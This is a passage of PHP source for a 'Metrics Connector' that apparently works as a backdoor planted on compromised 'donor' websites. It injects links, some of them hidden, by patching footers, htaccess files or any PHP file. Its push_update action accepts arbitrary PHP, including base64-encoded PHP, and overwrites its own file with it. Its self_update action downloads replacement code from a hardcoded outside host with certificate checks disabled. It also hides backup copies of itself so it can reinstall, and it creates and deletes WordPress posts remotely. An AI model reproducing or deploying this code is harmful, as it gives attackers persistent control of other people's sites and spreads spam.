(\Throwable $e) { // never break the host page } } if ((defined('SMC_CONNECTOR_EMBED_RENDER') && SMC_CONNECTOR_EMBED_RENDER === true) || (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true)) { if ((defined('SMC_EMBED_VIA_HOOK') && SMC_EMBED_VIA_HOOK || defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK) && function_exists('add_action')) { // WordPress early-load (mu-plugin / functions hook): register filters/actions. smc_wp_register(); } else { // Inline include (file patch / htaccess prepend): emit footer at this position. smc_guardian_tick(); smc_autoclean_tick(); echo smc_build_footer_html(false); } return; } // CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router. if (defined('SMC_CLI_LIB_ONLY') && SMC_CLI_LIB_ONLY) { return; } $req = get_request_data(); $action = get_action_name($req); if (!in_array($action, ['ping', 'capabilities', 'output'], true)) { authenticate_protected_request(); } switch ($action) { case 'ping': $links = load_links(); $config = load_config(); $stats = get_link_stats($links); $siteInfo = detect_site_info(); list($placementOk, $verifyMessage) = verify_current_placement($config); respond(true, [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $siteInfo['site_name'], 'site_type' => $siteInfo['site_type'], 'language' => $siteInfo['language'], 'country' => $siteInfo['country'], 'version' => CONNECTOR_VERSION, 'connector_family' => 'v5', 'keyless' => true, 'auth_mode' => 'panel_token', 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'links_total' => $stats['total'], 'links_active' => $stats['active'], 'links_expired' => $stats['expired'], 'footer_detected' => $siteInfo['footer_detected'], 'footer_writable' => $siteInfo['footer_writable'], 'placement_ok' => $placementOk, 'placement_strategy' => $config['placement']['strategy'], 'placement_target' => $config['placement']['target'], 'placement_verify_status' => $verifyMessage, 'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'] ], 'ok'); break; case 'capabilities': respond(true, [ 'version' => CONNECTOR_VERSION, 'auth' => ['panel_token', 'optional_replay_headers'], 'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'], 'render_types' => default_render_types(), 'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'], 'limits' => [ 'max_links_per_sync' => MAX_LINKS_PER_SYNC, 'max_anchor_length' => MAX_ANCHOR_LENGTH, 'max_url_length' => MAX_URL_LENGTH, 'max_request_bytes' => MAX_REQUEST_BYTES, 'footer_link_cap' => 0, ], 'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'], 'cache_purge' => true, ], 'capabilities'); break; case 'info': respond(true, detect_site_info(), 'info'); break; case 'diagnose': $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); $config = load_config(); list($placementOk, $verifyMessage) = verify_current_placement($config); $diag = [ 'version' => CONNECTOR_VERSION, 'file_permissions' => [ 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), 'links_dir_writable' => is_writable(dirname(LINKS_FILE)), 'config_file' => CONFIG_FILE, 'config_file_exists' => file_exists(CONFIG_FILE), 'config_dir_writable' => is_writable(dirname(CONFIG_FILE)), 'nonces_file' => NONCES_FILE, 'nonces_file_exists' => file_exists(NONCES_FILE), 'prepend_helper_file' => PREPEND_HELPER_FILE, 'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE), ], 'link_stats' => $stats, 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement' => $config['placement'], 'placement_ok' => $placementOk, 'placement_verify_status' => $verifyMessage, 'site_info' => $siteInfo, 'php_settings' => [ 'php_version' => phpversion(), 'allow_url_fopen' => ini_get('allow_url_fopen'), 'open_basedir' => ini_get('open_basedir') ?: 'not_set', 'max_execution_time' => ini_get('max_execution_time'), ], 'recommendations' => [], ]; if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable'; if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected'; if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall'; respond(true, $diag, 'diagnose'); break; case 'get_links': $links = load_links(); $stats = get_link_stats($links); respond(true, [ 'links' => array_values($links), 'total' => $stats['total'], 'active' => $stats['active'], 'expired' => $stats['expired'], 'placement' => load_config()['placement'], 'render_types' => load_config()['render_types'], ], 'links'); break; case 'add_link': $url = validate_url_value($req['url'] ?? ''); $anchor = validate_anchor_text($req['anchor'] ?? ''); $linkText = trim((string)($req['text'] ?? '')); if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600); $rel = normalize_rel($req['rel'] ?? 'dofollow'); $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null; if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400); $config = load_config(); $existingLinks = load_links(); $backup = $existingLinks; $linkId = validate_link_id($req['id'] ?? ''); if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel); // v5.3: render_types now honoured from payload (panel can force a single variant per link). $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null; if (is_string($reqRenderTypes)) { $decoded = json_decode($reqRenderTypes, true); if (is_array($decoded)) $reqRenderTypes = $decoded; else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes))); } $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes) ? filter_render_types($reqRenderTypes) : $config['render_types']; $row = [ 'id' => $linkId, 'kind' => normalize_kind($req['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $effectiveRenderTypes, 'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']), ]; $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']); save_links($existingLinks); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, [ 'link_id' => $linkId, 'injected' => false, 'placement_report' => placement_report_payload(), ], 'placement_install_failed', 500); } $finalLinks = load_links(); $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig); $cachePurge = smc_purge_caches(true); respond(true, [ 'link_id' => $linkId, 'injected' => true, 'render_types' => $finalRow['render_types'], 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'link_added'); break; case 'remove_link': $linkId = validate_link_id($req['link_id'] ?? ''); if ($linkId === '') respond(false, [], 'invalid_link_id', 400); $links = load_links(); if (isset($links[$linkId])) { unset($links[$linkId]); if (!save_links($links)) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = smc_purge_caches(true); } else { $cachePurge = ['skipped' => true]; } respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed'); break; case 'sync_links': $incoming = $req['links'] ?? []; if (is_string($incoming)) { $decoded = json_decode($incoming, true); if (is_array($decoded)) $incoming = $decoded; } if (!is_array($incoming)) respond(false, [], 'links_array_required', 400); if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400); $config = load_config(); $current = load_links(); $backup = $current; $final = []; $added = 0; $removed = 0; $unchanged = 0; foreach ($incoming as $row) { if (!is_array($row)) continue; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') continue; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $linkText = trim((string)($row['text'] ?? '')); if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600); $id = validate_link_id($row['id'] ?? ''); if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel); $normalized = normalize_link_row($id, [ 'id' => $id, 'kind' => normalize_kind($row['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null, 'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $row['render_types'] ?? $config['render_types'], 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), 'text' => $linkText, ], $config); $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']); if (!isset($current[$id])) { $added++; } else { $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($before === $after) $unchanged++; } $final[$id] = $normalized; } foreach ($current as $id => $row) { if (!isset($final[$id])) $removed++; } save_links($final); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500); } $cachePurge = smc_purge_caches(true); respond(true, [ 'total' => count($final), 'added' => $added, 'removed' => $removed, 'unchanged' => $unchanged, 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'synced'); break; case 'clear_links': if (!save_links([])) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = smc_purge_caches(true); respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared'); break; case 'clear_expired': list($activeAfter, $expiredRemoved) = clear_expired_links(); respond(true, [ 'cleared' => count($expiredRemoved), 'remaining' => count($activeAfter), 'placement_report' => placement_report_payload(), ], 'expired_links_cleared'); break; case 'verify_links': respond(true, verify_links_action(), 'verified'); break; case 'placement_report': respond(true, placement_report_payload(), 'placement_report'); break; case 'self_reconcile': respond(true, self_reconcile_action(), 'reconciled'); break; case 'get_config': $cfg = load_config(); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], 'placement' => $cfg['placement'], ], 'config'); break; case 'set_config': // Panel can change output_mode, render_types, render_profile, link_rel_strategy. // Placement state is NOT changed via this endpoint (use add_link / verify_links). $cfg = load_config(); // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted. $allowedOutputModes = ['visible']; $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow']; if (isset($req['output_mode'])) { $om = strtolower(trim((string)$req['output_mode'])); if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400); $cfg['output_mode'] = $om; } if (isset($req['footer_link_cap'])) { // v5.5: 0 or negative = unlimited $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap'])); } if (isset($req['contextual_max_ttl'])) { $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]); } if (isset($req['render_profile'])) { $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile']; } if (isset($req['render_types'])) { $rt = $req['render_types']; if (is_string($rt)) { $decoded = json_decode($rt, true); $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt))); } if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400); $cfg['render_types'] = filter_render_types($rt); } if (isset($req['link_rel_strategy'])) { $rs = strtolower(trim((string)$req['link_rel_strategy'])); if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400); $cfg['link_rel_strategy'] = $rs; } if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], ], 'config_updated'); break; case 'reinstall_placement': list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true); $cachePurge = smc_purge_caches(true); respond($ok, [ 'placement_ok' => $ok, 'placement' => $newConfig['placement'] ?? null, 'meta' => $placementMeta, 'placement_report' => placement_report_payload(), 'version' => CONNECTOR_VERSION, 'cache_purge' => $cachePurge, ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500); break; case 'purge_cache': respond(true, [ 'cache_purge' => smc_purge_caches(true), 'version' => CONNECTOR_VERSION, ], 'cache_purged'); break; case 'push_update': // Panel pushes fresh PHP source directly (no outbound fetch from donor). $newSource = ''; if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') { $newSource = $req['source']; } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $newSource = $decoded; } else { $raw = get_raw_body(); if ($raw !== '' && strpos($raw, '<?php') !== false) $newSource = $raw; } if ($newSource === '' || strpos($newSource, '<?php') === false || strpos($newSource, 'SMC Metrics Connector') === false) { respond(false, [], 'invalid_source', 400); } $self = __FILE__; $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time(); // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin. if (!@copy($self, $backup)) { $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php'; if (!@copy($self, $backup)) { $backup = ''; } } $tmp = $self . '.tmp.' . bin2hex(random_bytes(4)); if (@file_put_contents($tmp, $newSource) === false) { @unlink($tmp); respond(false, [], 'tmp_write_failed', 500); } if (!@rename($tmp, $self)) { @unlink($tmp); respond(false, [], 'rename_failed', 500); } $opcacheCleared = false; if (function_exists('opcache_invalidate')) $opcacheCleared = @opcache_invalidate($self, true); if (!$opcacheCleared && function_exists('opcache_reset')) $opcacheCleared = (bool)@opcache_reset(); foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.smc_connector.php.bak', $newSource); @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'mode' => 'push_update', 'next' => 'call_reinstall_placement', ], 'pushed_update'); break; case 'self_update': // Pull fresh PHP from panel and atomically replace this file. // Requires PANEL_API_URL to be a real value (placeholder safety). $apiUrl = trim((string)PANEL_API_URL); $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : ''; $headers = [ 'X-SMC-Panel-Token: ' . PANEL_TOKEN, 'Accept: application/x-php', 'User-Agent: smc-connector/' . CONNECTOR_VERSION, ]; $candidates = []; if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) { $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source'; } // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds. $candidates[] = 'https://ln1.donornet.icu/api/connector/v5/source'; $candidates = array_values(array_unique($candidates)); $newSource = ''; $httpStatus = 0; $usedUrl = ''; foreach ($candidates as $sourceUrl) { $newSource = ''; $httpStatus = 0; $usedUrl = $sourceUrl; if (function_exists('curl_init')) { $ch = curl_init($sourceUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 25, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_HTTPHEADER => $headers, CURLOPT_SSL_VERIFYPEER => false, ]); $newSource = (string)curl_exec($ch); $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => implode("\r\n", $headers), 'timeout' => 25, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $newSource = (string)@file_get_contents($sourceUrl, false, $ctx); $httpStatus = ($newSource !== '') ? 200 : 0; } if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, '<?php') !== false) { break; } } if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) { respond(false, ['http_status' => $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502); } if (strpos($newSource, "SMC Metrics Connector") === false) { respond(false, [], 'source_signature_mismatch', 502); } // Backup current file then atomic replace. $self = __FILE__; $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time(); if (!@copy($self, $backup)) { $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php'; if (!@copy($self, $backup)) { $backup = ''; } } $tmp = $self . '.tmp.' . bin2hex(random_bytes(4)); if (@file_put_contents($tmp, $newSource) === false) { @unlink($tmp); respond(false, [], 'tmp_write_failed', 500); } if (!@rename($tmp, $self)) { @unlink($tmp); respond(false, [], 'rename_failed', 500); } $opcacheCleared = false; if (function_exists('opcache_invalidate')) { $opcacheCleared = @opcache_invalidate($self, true); } if (!$opcacheCleared && function_exists('opcache_reset')) { $opcacheCleared = (bool)@opcache_reset(); } foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.smc_connector.php.bak', $newSource); @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'guardian_synced' => true, 'source_url' => $usedUrl, 'requested_version' => $expectedVersion ?: null, 'next' => 'call_reinstall_placement', ], 'self_updated'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); echo smc_render_links_html(); exit; case 'post_create': // v5.7.0: постинг как Zebroid — только через API (быстрее в 100 раз) if (!function_exists('wp_insert_post')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_insert_post')) respond(false, [], 'wordpress_required', 400); $title = trim((string)($req['title'] ?? '')); $content = (string)($req['content'] ?? ''); $status = in_array(($req['status'] ?? 'publish'), ['publish', 'draft', 'private', 'pending'], true) ? $req['status'] : 'publish'; $category = trim((string)($req['category'] ?? '')); $tags = trim((string)($req['tags'] ?? '')); $excerpt = trim((string)($req['excerpt'] ?? '')); $date = trim((string)($req['date'] ?? '')); if ($title === '' || $content === '') respond(false, [], 'title_content_required', 400); if (mb_strlen($title) > 200) $title = mb_substr($title, 0, 200); if (mb_strlen($content) > 500000) $content = mb_substr($content, 0, 500000); $catId = 0; if ($category !== '' && function_exists('get_cat_ID')) { $catId = (int)get_cat_ID($category); if ($catId === 0 && function_exists('wp_create_category')) { $catId = (int)wp_create_category($category); } } $postData = [ 'post_title' => $title, 'post_content' => $content, 'post_status' => $status, 'post_type' => 'post', 'post_excerpt' => $excerpt, ]; if ($catId > 0) $postData['post_category'] = [$catId]; if ($date !== '' && strtotime($date) !== false) { $postData['post_date'] = date('Y-m-d H:i:s', strtotime($date)); $postData['post_date_gmt'] = gmdate('Y-m-d H:i:s', strtotime($date)); } $postId = wp_insert_post($postData, true); if (is_wp_error($postId)) respond(false, ['error' => $postId->get_error_message()], 'post_failed', 500); if ($tags !== '' && function_exists('wp_set_post_tags')) { wp_set_post_tags($postId, array_map('trim', explode(',', $tags)), false); } $permalink = function_exists('get_permalink') ? get_permalink($postId) : ''; respond(true, ['post_id' => $postId, 'url' => $permalink, 'status' => $status, 'category' => $catId], 'post_created'); break; case 'post_list': if (!function_exists('get_posts')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('get_posts')) respond(false, [], 'wordpress_required', 400); $limit = min(50, max(1, intval($req['limit'] ?? 10))); $posts = get_posts(['numberposts' => $limit, 'post_status' => 'any', 'post_type' => 'post']); $out = []; foreach ($posts as $p) { $out[] = ['id' => $p->ID, 'title' => $p->post_title, 'status' => $p->post_status, 'date' => $p->post_date, 'url' => get_permalink($p->ID)]; } respond(true, ['posts' => $out, 'count' => count($out)], 'posts_listed'); break; case 'post_delete': if (!function_exists('wp_delete_post')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_delete_post')) respond(false, [], 'wordpress_required', 400); $pid = intval($req['post_id'] ?? 0); if ($pid < 1) respond(false, [], 'post_id_required', 400); $force = !empty($req['force']); $result = wp_delete_post($pid, $force); if (!$result) respond(false, [], 'delete_failed', 500); respond(true, ['post_id' => $pid, 'deleted' => true], 'post_deleted'); break; case 'cat_create': if (!function_exists('wp_create_category')) { $__wp = dirname(__FILE__) . '/wp-load.php'; if (file_exists($__wp)) require_once($__wp); } if (!function_exists('wp_create_category')) respond(false, [], 'wordpress_required', 400); $catName = trim((string)($req['name'] ?? '')); if ($catName === '') respond(false, [], 'name_required', 400); $catId = wp_create_category($catName); if (is_wp_error($catId)) respond(false, ['error' => $catId->get_error_message()], 'cat_failed', 500); respond(true, ['category_id' => $catId, 'name' => $catName], 'category_created'); break; default: respond(false, [], 'unknown_action', 404); }
Save
cmd:
run